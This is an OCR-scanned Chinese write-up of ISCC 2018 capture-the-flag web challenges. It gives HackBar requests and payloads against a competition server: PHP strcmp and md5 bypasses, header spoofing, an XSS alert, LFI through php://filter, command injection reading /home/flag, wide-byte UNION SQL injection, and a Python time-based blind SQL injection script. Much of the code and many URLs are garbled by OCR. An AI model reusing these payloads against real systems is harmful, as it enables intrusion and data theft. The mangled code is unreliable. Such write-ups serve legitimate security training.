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<TOrm acTtlon="NTIp://lanl.XSECLAD. oM/ DASE 1Y ¥h4Ee4Ebbydn
method="post">

<input maxlength="3" name="v" type="text">»
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Load URL  http://118.190.152.202:3014/
split URL

(») &= ﬂ

Execute

[7] Enable Post data [ | Enable Referrer

key is 768HKyu6785678*&K

#web2:

@A T, B

& Load URL  http://118.190.152.202:3003/
% split URL
) Execute
[7] Enable Post data [ | Enable Referrer
<“php

highlight_file( 2. php' );
$flas=" [ttt |
if (isset($_GET[ password 1)) {
if (stremp($_GET[ password 1, $flaz) == 0)
die(’Flag: °.§flas);
else
print Invalid password ;


https://blog.csdn.net/weixin_30347009
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
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http://www.cnblogs.com/hell0w/p/9130537.html

= & SQL- XS5- Encryption- Encoding- Other-
g Load URL  http://118.190.152.202:8003/?password[]=1

2  Ssplit URL

¥ Execute

7] Enable Post data [ | Enable Referrer

<Iphp
highlight_file(" 2. php’);
$flag=" (k]
if (isset($ GET[ password 1)) |
if (stremp($_GET[ password ], $flag) == 0)
die(CFlag: ’.$flag);
else
print ’Invalid password ;
}
2> Flag: ISCC{iscc_ef3w5Sr5tw_5rg5y6s3t3}

INT v| = & SQL- XS5- Encryption- Encoding- Other-

@ Load URL  http://118.190.152.202:8003/?password[]=1
& split URL
+ Execute

"] Enable Post data | | Enable Referrer

<Yphp
highlight_file(’ 2. php’);
$flag=" {Ftrtdiokdekt |
if (isset($_GET[ password 1)) {
if (stremp($3_GET[ password’ ], $flag) == 0)
die(C Flag: °.j}flag);
else
print ' Invalid password ;
]
2> Flag: ISCC{iscc_ef3w5r5tw_5rg5y6s3t3}
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{?php
A/print_r(§ SERVER);
Jarr=explode (’, ’, §_SERVER[ HTTP_X_FORWARDED_FOR’]);
if($arr{0]=="127.0.0.1"){
Slkey
echo “key is ISCC{ &*(UIHK]jkadshf] ~;
lelsef
echo "M AMyvrEr 7
/
2> </body>
</html >

{?php
SFSAE R oA, s L A | of SRl Al R
echo file_get_contents(__FILE _):
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higpes e et coemibadebdone juptid = 67261 Hapage = MapageCounber = 32 8undefinediin allack = $Ia b0
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= LTRSS
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<script>alert("key:/%nsfocusXSStest%/")</script>
BEXFARELKfag, EFERKkeyR, MHRXHEFR:

/%nsfocusXSStest%/

#3457 | flag(HelloWorld}

#webb5: _wﬁ;%g%

HRENXHEEMT
= Load URL  http://118.190.152.202:8009/index.php
' split URL
' Execute
Enable Post data Enable Referrer
flag is here

BEFiR T ikindex.php.bak, index.php.swp, index.php.txt

& Bindex.php.txtE 1 2



include “flag. php”;

if ($ SERVER["REQUEST METHOD™] !'= "POST™)
die(“flag is here”);

if (lisset($ POST["flag”]) )
die($_403);

foreach (3 GET as $k =» §v)

33k = §iv;

1

foreach (§_POST as $k =» §vwii
35k = §v,

1

if ( $_POST["flag”] !== §flag )
die(§_403);

echo “flag: ”. $flaz . “n”;

die(§_2000;

s

ERERE-MASSSENZEE &

X E: https://www.cnblogs.com/bmjoker/p/9025351. htm#& VAR, BT U B EWER T

& Lload URL http//118.190.152.202:8009/index.php?_200=flag

% spliturL
) Execute

[/] Enable Post data [ | Enable Referrer
Post data flag=adsdadsad

flag: adsdadsad ISCC{taolu2333333...}

#web6: fREESEE G ?
Beid J8 48

= Load URL http://118.190.152.202:8008/
¥ split URL
¥ Execute

["] Enable Post data [ | Enable Referrer
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BRZE—EURNRMNEN, RTHABREANMRREEN, BT FANSH, EFRT T XHEE, Kf=articles
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https://www.cnblogs.com/bmjoker/p/9025351.html
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[ €= | (D 118.190.152.202:23008/index.php?f=articles&id=1

INT T| = & SQL- XSS- Encryption- Encoding- Otherr

Load URL htlp:f,:‘118.190.152.202:8008,*1

split URL

~ 8= @

Execute
|| Enable Post data [ | Enable Referrer

=

‘5‘5‘
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o
B

contents:1

R

& Load URL  hitpy/118.190.152.202:8008 index.php?f=phpy filter/read=convert base64-encode/resource=indexgid=1

4 spliturL

v Execute

Enable Pest data || Enable Referrer

1D: 1

0. 2

D:3

ID: 4

rror
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phpZZ ApHpiRik

@ LoadURL  hitg/1 18901 52 20T-BOCKK rwdes php T = pHgs/ terrrad =comvert basmtid-nncode, repource = ndesfiid= 1
& GSpRuRL

Execute
Enathe Post data || Erable Refemer
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ID:3

ID: 4
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<!DOCTYPE html>

<html lang="en">

<head>
<title>a %eaéjuc</title>
<meta charset="UTF-8">

</head>

<body>
<a href="index.php?f=articles&id=1"'>ID: 1</href>
</br>
<a href="'index.php?f=articles&id=2'>ID: 2</href>
</br>

<a href="index.php?f=articles&id=3'>ID: 3</href>



</br>

<a href="index.php?f=articles&id=4'>ID: 4</href>

</br>

</body>

</html>

<?php

#ISCC{LFIOO000000000000}

if(isset($_GET['f'])){

if(strpos($_GET['f'],"php") !== False){
die("error...");
}
else{
include($_GET['f'] . '.php');
}
}
?>
#web7:
INT v| = & SQL- XSS~ Encryption- Encoding- Other-

& Load URL  http://118.190.152.202:3004/
% split URL
r Execute

[7] Enable Post data [ | Enable Referrer

2 | {RIGIPTREAHLIp !

X EIRIXFERAT, BERClient-ip

#web8: i pingRR Kip & K BE Pingid 1 ?
RMTET, EREASL.
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Hls—MANE#, fEhome ™ kI T flag, FTbA&JE Hpayloadfy: http://118.190.152.202:8018/?ip=;%0acat
/homef/flag

[ 4= | (D 118.190.152.202:8018/7ip="%0Acat /home/flag

INT v| = & SQL- XSS+ Encryption- Encoding= Otherr

& Load URL  http://118.190.152.202:8018/%ip=;%0acat fhome/flag
¥ split URL

b} Execute
["] Enable Post data [ | Enable Referrer
EPIngERMIP E{R&pingEnS

18CC {BaB646cTaZfeel 6bl166fhcbBcabbfoed]

#web9: Please give me username and password!

INT T| = & SQL- XSS- Encryption- Encoding- Other-
4= Load URL  http://118.190.152.202:8017/
' split URL
.i

Execute
|| Enable Post data [ | Enable Referrer

Please give me username or password!

FEE S —usernamez iz 5, BERARBESE RS

@ Load URL  http://118.190.152.202:8017/?username=111
 split URL
') Execute

["] Enable Post data || Enable Referrer

Username is not right </——index. php. txt—>

<Pphp
error_reporting (0) ;
$flag = Tk

if(iszet ($_GET[ username’ 1)) (

if (0 == streasecop($flag, §_GET[  username’ 1)) {
$a = fla;

echo “very good!Username iz right”;

else |

print 'Username is not right<!--index. php. txt==>" ;]
lelse
print "Pleaze give me username or password!’;
if (isset(§_GET[ password’ 1)) (
if (is_rmmeric($_GET[ password' ])) {
if (strlen($_GET[ password’ 1) < 4){
if ($_GET[' passwm'd‘] » 999) {
$b = g
print " {pvery good!Password is right</p>";
Jelse
print '<p>Fa55wurd too 1ittled/p»" :
lelse

print " <{p>Password too long</p» ;
telse

print * {p>Password is not rumeric</p}" ;

1
if ($a.3b = "flag")

print $flag;
kM



username $i 4l 5eit, password R} Hik gt

@ Load URL 'hnpn’."lm.l90.152.202‘301?}1ndex.php?uumﬂ=lﬂmusmtd=55,29
& SplituRL
v Execute

"] Enable Post data [ ] Enable Referrer

very good!Username is right
very good!Password is right
flag{ISCC2018_Very GOOD!)

#web10: phpRitf ERIFHIES
Wr % 4% F php?

& D@ 118190152.202:8005 UE c | Q=

BPE: =5
<html>
<body>
{form action="mdS.php”  method="post™ >
P& <input  type="text” name="username”/>
FBD:<input type="password” name ="password”/>
<input  type="submit” >
</body>
</html >
<Tphp
header ("Content-type: text/html; charset=utf-8");
$f{isset ($_POST[  usernane’ ])&isset (§_POST[' password 1)) {
$username = $_POST[ username’];
$password = $_POST[ password']:
)
elsel
$username="hello";
$password="hello”;
]
if{md5 (§password) == 0)1{
echo  “xxxxx”)

}

show_source(__FILE_ )
K
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[ 4= | (D 118.190.152.202:8005/no_md5.php?a=hello

INT v| = & SQL- XSS+ Encryption- Encoding= Otherr

@ Load URL http://118.190.152.202:8005/
% split URL
r|  Execute

Enable Post data Enable Referrer

NULL

include 'flag.php’;

$a = @%_REQUEST['a"];
@eval("var_dump($$a);”);



L—ME2RZEGLOBALS, THFAXENIE

L =) = & G0 WS lncryplioss Incoding: Other
o el UL hopL LA IORO0N s, o e CLOBALS
i semom
b g
ke Postaets 7 rable irbre
aray(E] [ [ GET"}=» avay(l} [ ['a"]=» string(7} "GLOBALS® ) [*_POST']=» amay(00 { ] " COOKIE']=» anay(1) | ["PHPSESSID"]=» siring{26] "bhat 18beaunosioagiisnades” |
["_FILES"|=» arand] [ } [*_FECAREST )= > anayi ] { ["a")= = sbringdT) "GLOBALS" | [*Mlag”]=» sirmgl3T) TOCLIAMIal 7 ebadbabBaca? b Aoel LEEAY" ["a"] = » siring(T} "GLOAALS'
["GLOBALS ] = > *RECURSION® |
inchude ag.phpt
$a = @% REQUESTTAT
Beval*vae_dumgsiSak):

#web11: SQLIEAKIZAR
2R, ZR-ANRFTEANER, LHENFR, BrE2, 4, 7, RE—MAERET

@ Lopd URL  hitpe//118.190.52.202801% index.phptid= - 1%dP627 union select 1.23.4,56,7 8%23
& Split URL
*)  Execute

Enable Post data Enable Referrer

HPsE: 2
bk - 7
[ 4

A A i

Payload: http://118.190.152.202:8015/index.php?id=-1%df%27 union select 1,database(),3,4,5,6,7,8%23

g load URL  hitpy/f118.190.152.202:801 5/ indexphpdid=- 1%df%27 union select 1, database(),3,4.5,6.7 8%23
& SeltURL
v Egecute

Enable Post data Enable Referrer

Payload: http://118.190.152.202:8015/index.php?id=-1%df%27 union select 1,table_name,3,4,5,6,7,8 from
information_schema.tables where table_schema=0x62616a69%23



o Logd URL  Itipl LS00 JO0B00 % fencben. php it m - LT s sebent L tabile_nama 14,8 7 0 from infemation ichematabies whese tabls_srhermanoutas] Gesim ]

Enable Pout dats Enable Referrer

Payload: http://118.190.152.202:8015/index.php?id=-1%df%27 union select 1,column_name,3,4,5,6,7,8 from
information_schema.columns where table_name=0x61646d696e73 limit 7,1%23

o Load URL  hony L1901 2 02801 index php i s 1%dIT wrion sebect 1 cokernn,_name, 145,8,7.8 from information_scherm columnn whers tabile_rarme =St 84488 71 it T, 182
£ speum
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Ensble Pt dats | Enable Baberer
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Payload: http://118.190.152.202:8015/index.php?id=-1%df%27 union select 1,flag,3,4,5,6,7,8 from admins%23

o Llogd URL  Ritpy/112.090.132 2028015 findexphpid=-1%di%27 union select 1lag 34 3.6.7.8 from admini®23
& SplitURL

v Egecule
Enable Post data Enable Referrer
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@ Llogd URL  hitpy//118.190.152.202:8006/
5 SplitURL
b Execute

Enable Post data Enable Referrer

BEFRZ 552X — M.
http://118.190.152.202:8006/show.php?img=1.jpg
VAT R M e
BERKTT
img=php://filter/read=convert.base64-encode/resource=index.php
RESHEAFE, TR
img=php://ffilter/read=convert.base64-encode/resource=1.jpg
R UIEE BN
T
img=php://ffilter/read=convert.base64-encode/resource=1.jpg/resource=show.php
FEVEARAY KRB T show.php i A &

<?php

error_reporting(@);

ini_set('display_errors','0ff');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{

if(strpos($img, 'jpg') !== false)


http://118.190.152.202:8006/show.php?img=1.jpg

if(strpos($img, 'resource=") !== false && preg_match('/resource=.*jpg/i',$img) === 0)

die('File not found.');

preg_match('/~php:\/\/filter.*resource=([*|]1*)/i',trim($img),$matches);

if(isset($matches[1]))

$img = $matches[1];

header('Content-Type: image/jpeg');

$data = get_contents($img);

echo $data;

}
else
{
die('File not found.');
}
}
else
{
?>
<img src="1.jpg">
<?php
}

?>



JRRRIEILEL  jpg, AFFAENIR ElFile not found
208 DU R E] T flag

w.php? img=phy

o o F lag . php

#web13: Sqli
P &&N: ‘or 1=1#, ZEEBEERA

RI I ~normal user: 'or 1=1#

W el e 10150 KSR Y
A e
b g

¥ Enable our data | Hrusbin Falewss
Poan St [P o T — Ty

=3
T 1E % %\ P 48 A PG ) 2 5 7R I 5 B P 4 iR
@ load URL  httpy/118.190.152.202:8011/
% split URL

] Execute

Enable Post data || Enable Referrer

Post data username=aaa8tpassword=111
IESEESER
Payload:

username=-1'or 1=1 union select 1,2,3#&password=111
$#75: normal user: -1'or 1=1 union select 1,2,3#
Payload:

username=-1'or 1=1 union select 1,2,3,4#&password=111
. WS EELHIR

WA INFB

Payload:



username=-1'or 1=1 union select 1,2,IF(MID((SELECT Schema_name from infOrmation_schema.schEmata
limit 0,1),1,1)=binary('i"),1,sleep(5))#&password=111

TUH IEH R [
Payload:

username=-1'or 1=1 union select 1,2,IF(MID((SELECT Schema_name from infOrmation_schema.schEmata
limit 0,1),1,1)=binary('a"),1,sleep(5))#&password=111

T T 3R [0 S
KB TN, BATUSFERAT
RIGEBEERRDT A4, admin, FHmdSEZEA: udg009

R RIF B Aflag
- lndl-‘lt. hﬂp.',ﬂ‘1ﬂ.1l‘l_1um.‘:ml1|' ’

Soplar URL

L
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import time

import requests

strs = "0123456789abcdefghijklmnopqrstuvwxyz{!@#$%"&*()_+.}"
strsl = ""

for k in range(1,40):

for i in strs:

#payload = "-1'or 1=1 union select 1,2,IF(MID((SELECT Schema_name from
infOrmation_schema.schEmata limit 2,1),1,%d)=binary('%s"'),1,sleep(0.15))#" % (k,strsl+i)

#payload = "-1'or 1=1 union select 1,2,IF(MID((select table_name from information_schema.tables
where table_schema="mysql' limit 23,1),1,%d)=binary('%s'),1,sleep(0.15))#" % (k,strsi+i)

#payload = "-1'or 1=1 union select 1,2,IF(MID((select column_name from
information_schema.columns where table_name='news' and table_schema='sqli_database' limit

2,1),1,%d)=binary('%s"'),1,sleep(0.15))#" % (k,strsl+i)

#payload = "-1'or 1=1 union select 1,2,IF(MID((select pass from user where username='test'
limit 0,1),1,%d)=binary('%s"'),1,sleep(0.15))#" % (k,strsl+i)

payload = "-1'or 1=1 union select 1,2,IF(MID((select kjafuibafuohnuvwnruniguankacbh from news
limit 0,1),1,%d)=binary('%s'),1,sleep(0.15))#" % (k,strsl+i)

data = {'username':payload, 'password':'aaa'}

url = "http://118.190.152.202:8011/"

start_time = time.time()

session = requests.Session()

res = session.post(url,data)

now_time = time.time()-start_time

#print payload

#print strsl

if now_time < 0.15:

strsl += 1

#print payload

print strsl

break

if len(strsl) < k:

break



BITE

flag{hahah
flag{hahaha
flag{hahahag
flag{hahahaog
flag{hahahag99
f1lag{hahahao999
flag{hahahag9999
f1lag{hahahad9999%
flag{hahaha9999999
f1lag{hahaha99999559%
flag{hahaha999999999
f1lag{hahaha999999959}

#web13: Collide
MAKBIFEH, ZEEB B A KRR

@ Lload URL  hrtpyf118.190.152.202:80027
5 splitunL

Execute
Enable Post data Enable Referrer

#fusernane= (s 1)3_POST[" username’ 1;
f ion enc(§text) {
global Fkey

return  md5(key. §text)
if(enc($username) === $_COOKIE[ verify’
1f(is_rumericistrpos($username, IR
die(§flag);
1
4
sSe
ie("you are not admin”

I\ time () +G0RE0EI4T)
strlen($key), time()+60%G0%245T);

setcockie(”]

show_source(__FILE__

MeEE

GET [ HTIR/1.1

Host: 118.190.152. 202: 8002

Vzer=Agent zilla/5. 0 (Windews NT 6. 1: Wini. =64 rv:56.0) Gecko/ /20100101 Firefoxr/56.0
keeept: text/htal, application/shtml*zal, application/znl;q=0.9,#/*:a=0. 8

hecept-Language: zheCll zhig=0. & en-USiq=0. 5 eni o=, 3

Cookie: PHPSESSID=bbstilfbrawuet|fobeffsrodss; werifr=T8cfeSTd983blal Te55828c001a3eT81; (lan=16
Cliemt=ip: 127.0.0.1

Connection: close

Uperade-Insecure~Requests: 1

MR EACH, BRBBRATEER, P T hashikEY R

A hashpump

Z RIS



#| Request to hiip:7118.190.152 202-8002

| Forward | | Drop | wbm![ Acton |
IMII Params i Headers. i Hex

POST / HITP/1.2

Host: §18 190, 152 2028002

Vser-heent: Moztlla/S 0 (Rindews WT 6. 10 WinGd: 264 ¥v:%6. 0) Cacke/20100001 Firefox/56. 0
Aceept: text/himl, application/shiml*zml, application/znl q=0 9, #/%:q=0 &

Acoept=Language: h=ClW Zhiq=0. 8. ¢0~US, g=0. 5, en;q=0. 3

Content=Trpe: application/z=wwrform-urlencoded

Content-Length: 58

Cookie: PHPSESSID=bhstifbranasd |fO6pfforo¥si; verify=S5f5850%93aTfebb971 766034250 13d0eb; lensib
Client—ip: 127.0.0.1

Conmection: close

Uperade-Insecure-Requests: 1

wseTnaR ez gwe 51 % E0U 00N 0% 00 0N 9% 01 ¥ 00U 0 %D 0N 040 0% 00a dein

5 2lflag

[;N'r' -'] = & 501~ XS5 Encpbor Encodngr Other
g Llopd URL  hitpyf118.150.152.202:8002f
2 Split URL
v Egecute
[¥] Enable Post dsta || Enable Referrer
Post data Usemame=guestEBIR000I0HDIIRIR01KI0WDIKO0NHOIEI0HD0sdmin
ISCC{MDS5_1s_n0t_Safe}

#web14: Only admin can see flag
BERENRE KR Rindex.txt
WA
<?php
include 'sqlwaf.php’;
define("SECRET_KEY", ".. oot "),
define("METHOD", "aes-128-cbc");

session_start();

function get_random_iv(){
$iv="";
for($i=0;$i<16;%i++){

$iv.=chr(rand(1,255));

return $iv;

function login($info){

$iv=get_random_iv();



$plain = serialize($into);

$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);

$_SESSION[ 'username'] = $info[ 'username’];

setcookie("iv", base64_encode($iv));

setcookie("cipher", base64_encode($cipher));

function show_homepage(){

if ($_SESSION["username"]==="admin'){

echo '<p>Hello admin</p>';

echo '<p>Flag is *¥¥¥¥¥xikkdxxc/p>';

}else{

echo '<p>hello '.$ SESSION['username'].'</p>';

echo '<p>Only admin can see flag</p>';

echo '<p><a href="loginout.php">Log out</a></p>";

die();

function check_login(){

if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){

$cipher = base64_decode($_COOKIE['cipher']);

$iv = base64_decode($_COOKIE["iv"]);

if($plain

$info
unserialize</p>");

openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){

unserialize($plain) or die("<p>base64 _decode('".base64_encode($plain).

$_SESSION[ '‘username'] = $info[ 'username'];

}else{

die("ERROR!");

) can't



if (isset($_POST['username’])8&8&isset($_POST['password'])) {

$username=waf((string)$_POST[ 'username']);

$password=waf((string)$_POST[ 'password']);

if($username === 'admin'){
exit('<p>You are not real admin!</p>");

}else{

$info = array('username'=>$username, 'password'=>$password);
login($info);

show_homepage();

else{
if(isset($_SESSION["username"])){
check_login();

show_homepage();

?>
<IDOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Paper login form</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="login">
<form action="" method="post">

<h1>Sign In</hl>



<input name='username' type="text" placeholder="Username">
<input name='password' type="password" placeholder="Password">
<button>Sign in</button>

</div>

</body>

</html>
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